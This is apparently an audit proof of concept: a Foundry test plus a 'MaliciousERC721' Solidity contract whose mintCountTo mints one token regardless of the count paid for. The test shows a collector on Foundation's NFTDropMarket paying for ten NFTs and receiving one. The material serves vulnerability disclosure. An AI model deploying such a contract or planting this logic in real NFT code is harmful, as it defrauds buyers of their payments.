forge test file of proof of concept: Malicious Creator can steal from collectors upon minting with a custom NFT contract. Add the Malicious contract to contracts/mock/ and the test to test/foundry/. run`forge test`

2022-08-foundation.t.sol

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma solidity ^0.8.12;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

import "../../contracts/NFTDropMarket.sol";
import "../../contracts/FETH.sol";
import "../../contracts/NFTDropCollection.sol";
import "../../contracts/NFTCollectionFactory.sol";
import "../../contracts/mocks/MaliciousERC721.sol";
import "../../contracts/mocks/MockTreasury.sol";
import "../../contracts/mocks/RoyaltyRegistry/MockRoyaltyRegistry.sol";


contract MaliciousCustomERC721Exploit is Test {
  address admin = address(99);
  address creator = address(1);
  address collector = address(2);

  MaliciousERC721 maliciousCollection;
  MockTreasury treasury;
  NFTDropMarket nftDropMarket;
  FETH feth;
  MockRoyaltyRegistry royaltyRegistry;
  NFTCollectionFactory nftCollectionFactory;

  function setUp() public {
    /** Pre-reqs **/
    treasury = new MockTreasury();

    /** Deploy Market **/
    // Deploy the proxy with a placeholder implementation.
    TransparentUpgradeableProxy dropMarketProxy = new TransparentUpgradeableProxy(address(treasury), admin, "");
    feth = new FETH(payable(dropMarketProxy), payable(dropMarketProxy), 24 hours);
    royaltyRegistry = new MockRoyaltyRegistry();

    NFTDropMarket dropMarketImplementation = new NFTDropMarket(
      payable(treasury),
      address(feth),
      address(royaltyRegistry)
    );
    vm.prank(admin);
    dropMarketProxy.upgradeTo(address(dropMarketImplementation));
    nftDropMarket = NFTDropMarket(payable(dropMarketProxy));
    nftDropMarket.initialize();
  }

  function testExploit() public {
    /** Create drop collection **/
    uint256 nonce = 42;
    uint32 maxTokenId = 100;
    vm.prank(creator);
    maliciousCollection = new MaliciousERC721();
    maliciousCollection.initialize(maxTokenId, payable(creator), address(nftDropMarket));
    assertEq(maliciousCollection.isAdmin(creator), true);

    /** List for sale **/
    uint80 price = 1 ether;
    uint16 limitPerAccount = 10;
    vm.prank(creator);
    //assertEq(maliciousCollection.supportsInterface(0x15516188), true);
    nftDropMarket.createFixedPriceSale(address(maliciousCollection), price, limitPerAccount);

    // /** Mint from sale **/
    uint16 count = 10;
    vm.deal(collector, 999 ether);
    vm.prank(collector);
    nftDropMarket.mintFromFixedPriceSale{ value: price * count }(address(maliciousCollection), count, payable(0));
    /** Collector have paid to mint 10 NFTs **/
    assertEq(collector.balance, 989 ether);
    /** But they have only minted one instance **/
    assertEq(maliciousCollection.balanceOf(collector), 1);
  }
}

MaliciousERC721.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../mixins/roles/AdminRole.sol";
import "../mixins/roles/MinterRole.sol";
import "../interfaces/INFTDropCollectionMint.sol";

/**
 * @notice A contract implementing just the minimum 721 requirements.
 * @dev malicious ERC721 contract that does not mint multiple tokens in `mintCountTo`.

 */
contract MaliciousERC721 is ERC165, IERC721, AccessControlUpgradeable, AdminRole, MinterRole {
  using AddressUpgradeable for address;

  /**
   * @notice The tokenId of the most recently created NFT.
   * @dev Minting starts at tokenId 1. Each mint will use this value + 1.
   * @return The most recently minted tokenId, or 0 if no NFTs have been minted yet.
   */
  uint32 public latestTokenId;

  /**
   * @notice The max tokenId which can be minted.
   * @dev This max may be less than the final `totalSupply` if 1 or more tokens were burned.
   * @return The max tokenId which can be minted.
   */
  uint32 public maxTokenId;


  // Mapping from token ID to owner address
  mapping(uint256 => address) internal _owners;

  // Mapping owner address to token count
  mapping(address => uint256) internal _balances;

  // Mapping from token ID to approved address
  mapping(uint256 => address) private _tokenApprovals;

  // Mapping from owner to operator approvals
  mapping(address => mapping(address => bool)) private _operatorApprovals;

  function initialize(uint32 _supply, address payable _creator, address _minter) external initializer {
    require(_supply > 0, "supply must be nn");
    maxTokenId = _supply;
    AdminRole._initializeAdminRole(_creator);
    MinterRole._initializeMinterRole(_minter);
  }

  function mintCountTo(uint16 count, address to) external returns (uint256 firstTokenId) {
    firstTokenId = latestTokenId;
    require(firstTokenId < maxTokenId, "exceeds max tokenId");
    _mint(to, firstTokenId);
    ++latestTokenId;
  }

  function numberOfTokensAvailableToMint() external view returns (uint256 count){
    count = maxTokenId - latestTokenId;
  }
  /**
   * @dev See {IERC165-supportsInterface}.
   */
  function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165, AccessControlUpgradeable) returns (bool) {
    if (interfaceId == type(INFTDropCollectionMint).interfaceId) {
      return true;
    } else {
      return interfaceId == type(IERC721).interfaceId || super.supportsInterface(interfaceId);
    }
  }

  /**
   * @dev See {IERC721-balanceOf}.
   */
  function balanceOf(address owner) public view virtual override returns (uint256 balance) {
    require(owner != address(0), "ERC721: balance query for the zero address");
    return _balances[owner];
  }

  /**
   * @dev See {IERC721-ownerOf}.
   */
  function ownerOf(uint256 tokenId) public view virtual override returns (address owner) {
    owner = _owners[tokenId];
    require(owner != address(0), "ERC721: invalid token ID");
    return owner;
  }

  /**
   * @dev See {IERC721-approve}.
   */
  function approve(address to, uint256 tokenId) public virtual override {
    address owner = ownerOf(tokenId);
    require(to != owner, "ERC721: approval to current owner");

    require(
      msg.sender == owner || isApprovedForAll(owner, msg.sender),
      "ERC721: approve caller is not token owner nor approved for all"
    );

    _approve(to, tokenId);
  }

  /**
   * @dev See {IERC721-getApproved}.
   */
  function getApproved(uint256 tokenId) public view virtual override returns (address operator) {
    require(_exists(tokenId), "ERC721: approved query for nonexistent token");

    return _tokenApprovals[tokenId];
  }

  /**
   * @dev See {IERC721-setApprovalForAll}.
   */
  function setApprovalForAll(address operator, bool approved) public virtual override {
    require(operator != msg.sender, "ERC721: approve to caller");

    _operatorApprovals[msg.sender][operator] = approved;
    emit ApprovalForAll(msg.sender, operator, approved);
  }

  /**
   * @dev See {IERC721-isApprovedForAll}.
   */
  function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
    return _operatorApprovals[owner][operator];
  }

  /**
   * @dev See {IERC721-transferFrom}.
   */
  function transferFrom(
    address from,
    address to,
    uint256 tokenId
  ) public virtual override {
    //solhint-disable-next-line max-line-length
    require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner nor approved");

    _transfer(from, to, tokenId);
  }

  /**
   * @dev See {IERC721-safeTransferFrom}.
   */
  function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId
  ) public virtual override {
    safeTransferFrom(from, to, tokenId, "");
  }

  /**
   * @dev See {IERC721-safeTransferFrom}.
   */
  function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory _data
  ) public virtual override {
    require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner nor approved");
    _safeTransfer(from, to, tokenId, _data);
  }

  /**
   * @notice Allow anyone to mint any unused tokenId for easy testing.
   */
  function mint(address to, uint256 tokenId) external {
    revert();
  }

  /**
   * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
   * are aware of the ERC721 protocol to prevent tokens from being forever locked.
   *
   * `_data` is additional data, it has no specified format and it is sent in call to `to`.
   *
   * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
   * implement alternative mechanisms to perform token transfer, such as signature-based.
   *
   * Requirements:
   *
   * - `from` cannot be the zero address.
   * - `to` cannot be the zero address.
   * - `tokenId` token must exist and be owned by `from`.
   * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received},
   *   which is called upon a safe transfer.
   *
   * Emits a {Transfer} event.
   */
  function _safeTransfer(
    address from,
    address to,
    uint256 tokenId,
    bytes memory _data
  ) internal virtual {
    _transfer(from, to, tokenId);
    require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
  }

  /**
   * @dev Returns whether `tokenId` exists.
   *
   * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
   *
   * Tokens start existing when they are minted (`_mint`),
   * and stop existing when they are burned (`_burn`).
   */
  function _exists(uint256 tokenId) internal view virtual returns (bool) {
    return _owners[tokenId] != address(0);
  }

  /**
   * @dev Returns whether `spender` is allowed to manage `tokenId`.
   *
   * Requirements:
   *
   * - `tokenId` must exist.
   */
  function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
    require(_exists(tokenId), "ERC721: operator query for nonexistent token");
    address owner = ownerOf(tokenId);
    return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
  }

  /**
   * @dev Safely mints `tokenId` and transfers it to `to`.
   *
   * Requirements:
   *
   * - `tokenId` must not exist.
   * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received},
   *   which is called upon a safe transfer.
   *
   * Emits a {Transfer} event.
   */
  function _safeMint(address to, uint256 tokenId) internal virtual {
    _safeMint(to, tokenId, "");
  }

  /**
   * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
   * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
   */
  function _safeMint(
    address to,
    uint256 tokenId,
    bytes memory _data
  ) internal virtual {
    _mint(to, tokenId);
    require(
      _checkOnERC721Received(address(0), to, tokenId, _data),
      "ERC721: transfer to non ERC721Receiver implementer"
    );
  }

  /**
   * @dev Mints `tokenId` and transfers it to `to`.
   *
   * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
   *
   * Requirements:
   *
   * - `tokenId` must not exist.
   * - `to` cannot be the zero address.
   *
   * Emits a {Transfer} event.
   */
  function _mint(address to, uint256 tokenId) internal virtual {
    require(to != address(0), "ERC721: mint to the zero address");
    require(!_exists(tokenId), "ERC721: token already minted");

    _balances[to] += 1;
    _owners[tokenId] = to;

    emit Transfer(address(0), to, tokenId);
  }

  /**
   * @dev Transfers `tokenId` from `from` to `to`.
   *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
   *
   * Requirements:
   *
   * - `to` cannot be the zero address.
   * - `tokenId` token must be owned by `from`.
   *
   * Emits a {Transfer} event.
   */
  function _transfer(
    address from,
    address to,
    uint256 tokenId
  ) internal virtual {
    require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
    require(to != address(0), "ERC721: transfer to the zero address");

    // Clear approvals from the previous owner
    _approve(address(0), tokenId);

    _balances[from] -= 1;
    _balances[to] += 1;
    _owners[tokenId] = to;

    emit Transfer(from, to, tokenId);
  }

  /**
   * @dev Approve `to` to operate on `tokenId`
   *
   * Emits a {Approval} event.
   */
  function _approve(address to, uint256 tokenId) internal virtual {
    _tokenApprovals[tokenId] = to;
    emit Approval(ownerOf(tokenId), to, tokenId);
  }

  /**
   * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
   * The call is not executed if the target address is not a contract.
   *
   * @param from address representing the previous owner of the given token ID
   * @param to target address that will receive the tokens
   * @param tokenId uint256 ID of the token to be transferred
   * @param _data bytes optional data to send along with the call
   * @return bool whether the call correctly returned the expected magic value
   */
  function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory _data
  ) private returns (bool) {
    if (to.isContract()) {
      try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
        return retval == IERC721Receiver.onERC721Received.selector;
      } catch (bytes memory reason) {
        if (reason.length == 0) {
          revert("ERC721: transfer to non ERC721Receiver implementer");
        } else {
          assembly {
            revert(add(32, reason), mload(reason))
          }
        }
      }
    } else {
      return true;
    }
  }
}